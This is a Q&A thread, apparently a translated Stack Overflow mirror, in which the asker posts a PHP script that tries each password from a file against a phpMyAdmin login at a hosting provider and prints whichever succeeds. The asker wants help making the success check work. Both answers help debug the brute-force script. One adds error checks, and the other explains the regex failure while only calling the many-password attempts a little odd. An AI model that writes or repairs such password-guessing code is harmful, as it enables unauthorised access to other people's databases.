0

I trying to code a login script for phpmyadmin

<?php    
$user = "Domain";
$passwords = file("passwords.txt");

foreach ( $passwords as $pass){
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
echo "Login Worked with: {$pass}";
endif;
}
?>

My Problem is it , it dont works here

echo "Login Worked with: {$pass}";

Can you see the problem?

4

2 回答 2

1

Not necessarily the solution to your problem, but some basic error checking might point you in the right direction. Your problem may even begin at the initial call to file.

$passwords = file("passwords.txt");

if (!$passwords) {
 echo 'Unable to read password file';
} //etc

$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");

if (!$source) {
 echo 'Unable to read file source';
} //etc

Also as a side note if you were calling this function on a file outside your filesystem wouldn't you only get the output (HTML) similar to calling it in your browser (not sure if that was your intention).

于 2009-02-07T23:14:56.733 回答
0
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):

$source 的值将是获取 url 的完整 HTML 响应:

http://dbadmin.one.com/index.php?lang=en&server=1&pma_username= $user&pma_password=$pass

preg_match 只会匹配该字符串的第一行。您将需要以不同的方式解析字符串或替换任何换行符,以便它匹配整个文件。

看起来您正在测试使用用户名“域”和多个不同密码登录到数据库。不确定这是否是您的意图,但这似乎有点奇怪。

于 2009-03-06T20:51:09.853 回答